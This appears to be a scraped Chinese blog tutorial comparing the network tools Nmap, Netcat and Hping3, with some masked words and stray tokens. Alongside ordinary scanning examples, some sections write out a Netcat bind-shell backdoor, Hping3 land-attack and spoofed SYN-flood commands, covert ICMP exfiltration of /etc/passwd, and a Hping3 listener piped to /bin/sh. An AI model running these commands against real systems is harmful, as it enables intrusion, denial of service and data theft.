Nmap、Netcat、Hping3工具對比

在網絡安全領域,Nmap、Netcat、Hping3都是安全工程師必備的工具。Nmap主要做爲端口掃描器,偵查目標機的端口及服務狀態;而Netcat則整合了網絡中各類經常使用功能(如後門、文件傳輸、端口掃描、端口轉發等等),能輔助完成豐富的操做;Hping3主要做爲特定的TCPIP數據包產生與解析的工具,固然也可用於Ping操做。html


1     Nmap

核心應用:蒐集基本信息shell

1348334661_2288.png


1.1  Nmap簡介

  Nmap是目前業界最爲知名、最爲強大的端口掃描器。它是由Fyodor建立的開源軟件,在1997年首次發佈。十多年來,Nmap開發團隊一直不停地對其維護、更新,並規劃開發新的功能。Nmap在安全領域內很是流行,像***工具Metasploit、漏洞掃描工具openVAS等工具都內置了Nmap,而漏洞掃描工具Nessus也支持導入Nmap掃描結果。安全

  Nmap是主要用於基本的信息的蒐集,包括主機活動狀態、主機端口開放情況、應用服務及版本、操做系統與設備類型等等。另外Nmap徹底支持IPv6;而Nmap腳本引擎(NSE)結合內置的豐富的Lua腳本讓其支持的功能更加全面、更加精細(如提供豐富的HTTP相關的掃描腳本)。服務器


1.2  Nmap功能


  Nmap功能用法很是簡單,這裏簡要回顧一下:網絡

1.2.1  主機發現

nmap -sn -T4 targetipide

1.2.2  端口掃描

nmap -T4 -s[scan method] -p[portrange] targetip工具

1.2.3  服務與版本偵測

nmap -T4 -sV targetip性能

1.2.4  操做系統掃描

nmap -T4 -O targetip測試


1.3  簡單示例

(掃描目標機的端口與OS類型):網站


1348334677_9790.PNG

詳細使用方法參考:http://blog.csdn.net/aspirationflow/article/details/7694274



2     Netcat

核心應用:完成網絡中各類輔助操做,被稱做TCPIP的瑞士×××

1348334693_9621.PNG

2.1  Netcat簡介

  Netcat用於從TCP/UDP鏈接中讀取或發送網絡數據。cat是Linux中查看或鏈接文件的命令,因此netcat本意爲從網絡上查看文件內容。而Netcat的做者Hobbit爲它添加了很是豐富的功能,使它幾乎可以完成網絡操做中各式各樣的操做,因此Netcat在網絡安全領域被稱做「TCPIP的瑞士×××」("Swiss-army knife forTCP/IP")。

  Netcat穩定版1.10由Hobbit在1996年3月發佈(開源軟件),以後做者沒有再對其進行維護,但該工具十多年來依然在被普遍地使用,並且基於Netcat的各類衍生工具也層出不窮,他們在不少方面加強或擴展了Netcat的功能。

  Nmap團隊開發了Ncat做爲Netcat的升級版本,增長了更多的功能,讓其更能適應現代網絡環境的需求。

2.2  Netcat功能

2.2.1  網絡鏈接

  相似於Telnet的功能,使用Netcat可以簡便地登陸到目標機上開放的端口。

  例如,

nc mail.server.net 25

  向mail.server.net的25號TCP端口發起鏈接。


2.2.2  端口掃描

  Netcat一樣能夠進行端口掃描,但與Nmap相比,它的性能及使用範圍都頗有限。若是隻想簡單地探測幾個端口的開放狀態,使用Netcat也可行。

  端口掃描格式以下:

nc –v –z hostnameport[s]

  實例:

nc –v –z www.yahoo.com 80 22

  掃描yahoo網站的80、22端口,判斷其是否開放。


2.2.3  文件傳輸

  Netcat最初的用途就是文件傳輸,它能夠像Cat命令同樣將讀取的文件重定向到網絡上的另外的文件。Netcat在網絡應用中既能夠當作服務器端,開啓本機一個監聽端口,也能夠做爲客戶端向其餘服務器端口發起鏈接。因此,文件傳輸,便是在兩端分別運行Netcat。

  在接受端,運行Netcat開啓端口監聽服務。

nc –L –p 4444 >receivedfile.zip

  此處-L啓動監聽模式(即做爲服務器端),開啓4444端口,將接受到的數據寫入到文件somefile.zip中。

  而在發送端,只需鏈接該服務器端開放的端口,並選擇須要發送的文件。

nc 192.168.1.43 4444< testfile.zip

  使用<符號輸入testfile.zip文件,並向目標機的4444端口發起鏈接。在創建鏈接成功後,發送端會將文件傳送到接收端,接受端將收到的數據寫入receivedfile.zip文件。整個過程,比較相似於cat命令,由於具體的網絡傳輸過程由Netcat負責。


2.2.4  開啓後門

  Netcat甚至也能夠用做後門程序。若是用戶已經侵入到一臺計算機,那麼讓該計算機在開機後(或其餘條件下)自動啓動Netcat,打開指定的端口,等待用戶鏈接,在鏈接成功後執行特定程序(如cmd.exe,以便遠程執行命令)。

nc –L –p 4444 –e cmd.exe

  以監聽模式啓動Netcat,開啓TCP端口4444,在與客戶端成功創建鏈接後,執行cmd.exe程序(-e cmd.exe,此處爲用戶打開命令行執行窗口,用戶能夠經過命令操做此計算機)。

  在客戶端,直接鏈接目標機的4444端口便可。

nc 192.168.1.43 4444

  鏈接後,客戶端能夠接收到一個命令行窗口。


2.2.5  端口轉發

  端口轉發(PortForwarding)也是Netcat比較實用的用法。先將Netcat做爲服務器接收其餘主機的鏈接,而後將鏈接的數據轉發另外的目標機端口。

  好比:

mkfifo backpipe

nc -l 12345  0<backpipe | nc www.google.com 801>backpipe

  好比,此處開啓端口12345,做爲www.google.com的代理。其餘沒法直接登錄google的用戶能夠經過此代理端口來與google進行交互。這裏建立了一個fifo,是爲實現雙向數據通信,由於管道運算符自己是單向的。


2.2.6  標語提取

  標語提取(BannerGrabbing)的含義是抓取應用程序在創建鏈接後打印的標語提示信息,例如創建FTP鏈接後,FTP服務器可能打印出提示信息:FTP xxx.xxx等數據。

  因此,根據服務器打印的信息,有時能夠推斷出對方服務程序的詳細版本。這也是Nmap進行服務與版本偵測採用方法。

  例如,首先建立一份文件,包含如下文本:

[plain] view plain copy
  1. HEAD / HTTP/1.0  

  2. <return>  

  3. <return>  

  而後,將此文件發送到目標服務器的80端口,誘發對方發送HTTP首部數據。

cat file>nc -vv -w 2 www.cnn.com 80 >output.txt

  而後可從output.txt查看到對方的發送的HEAD的標語信息。



2.2.7  其餘功能

  Netcat其餘經常使用的功能:

  • 支持徹底的DNS轉發、逆向檢查

  • 支持用戶指定源端口

  • 支持用戶指定源端IP地址

  • 內置寬鬆源路由能力(loosesource-routing capability)

  • 慢速發送模式,可指定每隔多少秒發送一行文本

  • 將發送或接收數據以16進制格式導出


3     Hping3

核心應用:靈活地構建TCPIP數據包


1348334715_5480.PNG

3.1  Hping3介紹

  Hping是用於生成和解析TCPIP協議數據包的開源工具。創做者是Salvatore Sanfilippo。目前最新版是Hping3,支持使用tcl腳本自動化地調用其API。Hping是安全審計、防火牆測試等工做的標配工具。

  Hping優點在於可以定製數據包的各個部分,所以用戶能夠靈活對目標機進行細緻地探測。

  而Nmap團隊也開發了一款相似的工具Nping,集成在Nmap的安裝包中。

3.2  Hping3功能

  Hping3主要有如下典型功能應用:

3.2.1  防火牆測試

  使用Hping3指定各類數據包字段,依次對防火牆進行詳細測試。請參考:http://0daysecurity.com/articles/hping3_examples.html

  測試防火牆對ICMP包的反應、是否支持Traceroute、是否開放某個端口、對防火牆進行拒絕服務***(DoS attack)。

  例如,以LandAttack方式測試目標防火牆(Land Attack是將發送源地址設置爲與目標地址相同,誘使目標機與本身不停地創建鏈接)。

hping3 -S  -c 1000000 -a 10.10.10.10 -p 21 10.10.10.10


3.2.2  端口掃描

  Hping3也能夠對目標端口進行掃描。Hping3支持指定TCP各個標誌位、長度等信息。

  如下示例可用於探測目標機的80端口是否開放:

hping3 -I eth0  -S 192.168.10.1 -p 80

  其中-Ieth0指定使用eth0端口,-S指定TCP包的標誌位SYN,-p 80指定探測的目的端口。

  hping3支持很是豐富的端口探測方式,Nmap擁有的掃描方式hping3幾乎都支持(除開connect方式,由於Hping3僅發送與接收包,不會維護鏈接,因此不支持connect方式探測)。並且Hping3可以對發送的探測進行更加精細的控制,方便用戶微調探測結果。

  固然,Hping3的端口掃描性能及綜合處理能力,沒法與Nmap相比。通常使用它僅對少許主機的少許端口進行掃描。


3.2.3  Idle掃描

  Idle掃描(Idle Scanning)是一種匿名掃描遠程主機的方式,該方式也是有Hping3的做者Salvatore Sanfilippo發明的,目前Idle掃描在Nmap中也有實現。

  該掃描原理是:尋找一臺idle主機(該主機沒有任何的網絡流量,而且IPID是逐個增加的),***端主機先向idle主機發送探測包,從回覆包中獲取其IPID。冒充idle主機的IP地址向遠程主機的端口發送SYN包(此處假設爲SYN包),此時若是遠程主機的目的端口開放,那麼會回覆SYN/ACK,此時idle主機收到SYN/ACK後回覆RST包。而後***端主機再向idle主機發送探測包,獲取其IPID。那麼對比兩次的IPID值,咱們就能夠判斷遠程主機是否回覆了數據包,從而間接地推測其端口狀態。


1348334733_3746.PNG

3.2.4  拒絕服務***

  使用Hping3能夠很方便構建拒絕服務***。

  好比對目標機發起大量SYN鏈接,僞造源地址爲192.168.10.99,並使用1000微秒的間隔發送各個SYN包。

hping3 -I eth0 -a192.168.10.99 -S 192.168.10.33 -p 80 -i u1000

  其餘***如smurf、teardrop、land attack等也很容易構建出來。


3.2.5  文件傳輸

  Hping3支持經過TCP/UDP/ICMP等包來進行文件傳輸。至關於藉助TCP/UDP/ICMP包創建隱祕隧道通信。

  實現方式是開啓監聽端口,對檢測到的簽名(簽名爲用戶指定的字符串)的內容進行相應的解析。

  在接收端開啓服務:

hping3 192.168.1.159--listen signature --safe  --icmp

  監聽ICMP包中的簽名,根據簽名解析出文件內容。

  在發送端使用簽名打包的ICMP包發送文件:

hping3 192.168.1.108--icmp ?d 100 --sign signature --file /etc/passwd

  將/etc/passwd密碼文件經過ICMP包傳給192.168.10.44主機。發送包大小爲100字節(-d 100),發送簽名爲signature(-sign signature)。


3.2.6  ***功能

  若是Hping3可以在遠程主機上啓動,那麼能夠做爲***程序啓動監聽端口,並在創建鏈接後打開shell通訊。與Netcat的後門功能相似。

  示例:本地打開53號UDP端口(DNS解析服務)監聽來自192.168.10.66主機的包含簽名爲signature的數據包,並將收到的數據調用/bin/sh執行。

  在***啓動端:

hping3 192.168.10.66--listen signature --safe --udp -p 53 |/bin/sh

  在遠程控制端:

echo ls >test.cmd

hping3 192.168.10.44 -p53 -d 100 --udp --sign siganature --file ./test.cmd

  將包含ls命令的文件加上簽名signature發送到192.168.10.44主機的53號UDP端口,包數據長度爲100字節。

  固然這裏只是簡單的演示程序,真實的場景,控制端能夠利益shell執行不少的高級複雜的操做。

相關文章
相關標籤/搜索